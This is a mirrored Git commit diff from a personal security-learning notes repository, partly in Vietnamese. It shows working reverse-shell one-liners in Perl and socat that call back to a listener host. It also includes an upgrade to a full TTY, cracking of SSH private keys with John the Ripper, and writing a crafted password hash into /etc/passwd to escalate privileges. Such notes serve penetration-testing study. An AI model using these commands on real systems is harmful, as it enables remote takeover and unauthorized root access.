mirror of
https://github.com/haudang217/LearningSecurity.git
synced 2026-02-04 23:59:09 +00:00
SSH + Linux password
This commit is contained in:
parent
990d7ce1aa
commit
b4734e190e
@ -8,8 +8,7 @@
|
||||
|
||||
* Perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";
|
||||
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S
|
||||
,sockaddr_in($p,inet_aton($i))))
|
||||
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
|
||||
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
|
||||
-i");};'
|
||||
|
||||
@ -74,10 +73,10 @@ UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
|
||||
• using socat
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
|
||||
• using stty options
|
||||
# In reverse shell
|
||||
@ -104,7 +103,19 @@ Tìm nhiều hơn tại link sau: https://gtfobins.github.io/
|
||||
|
||||
-----------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
CÁC VẤN ĐỀ LIÊN QUAN ĐẾN SSH
|
||||
|
||||
Có thể thực hiện việc ssh thông qua một file id_rsa chứa private_key với cấu trúc: sss username@ip -i id_rsa
|
||||
File này có thể được crack thông qua link sau: https://www.hackingarticles.in/beginners-guide-for-john-the-ripper-part-2/
|
||||
|
||||
-----------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
CẤN VẤN ĐỀ LIÊN QUAN ĐẾN PASSWORD TRONG LINUX
|
||||
|
||||
Có thể tạo ra một password theo chuẩn của linux tạo ra thông qua: Openssl passwd "password"
|
||||
Password thường chứa trong /etc/shadow nhưng ta có thể hoàn toàn thay thế trong file /etc/passwd (tập tin này mọi user đều có quyền read).
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user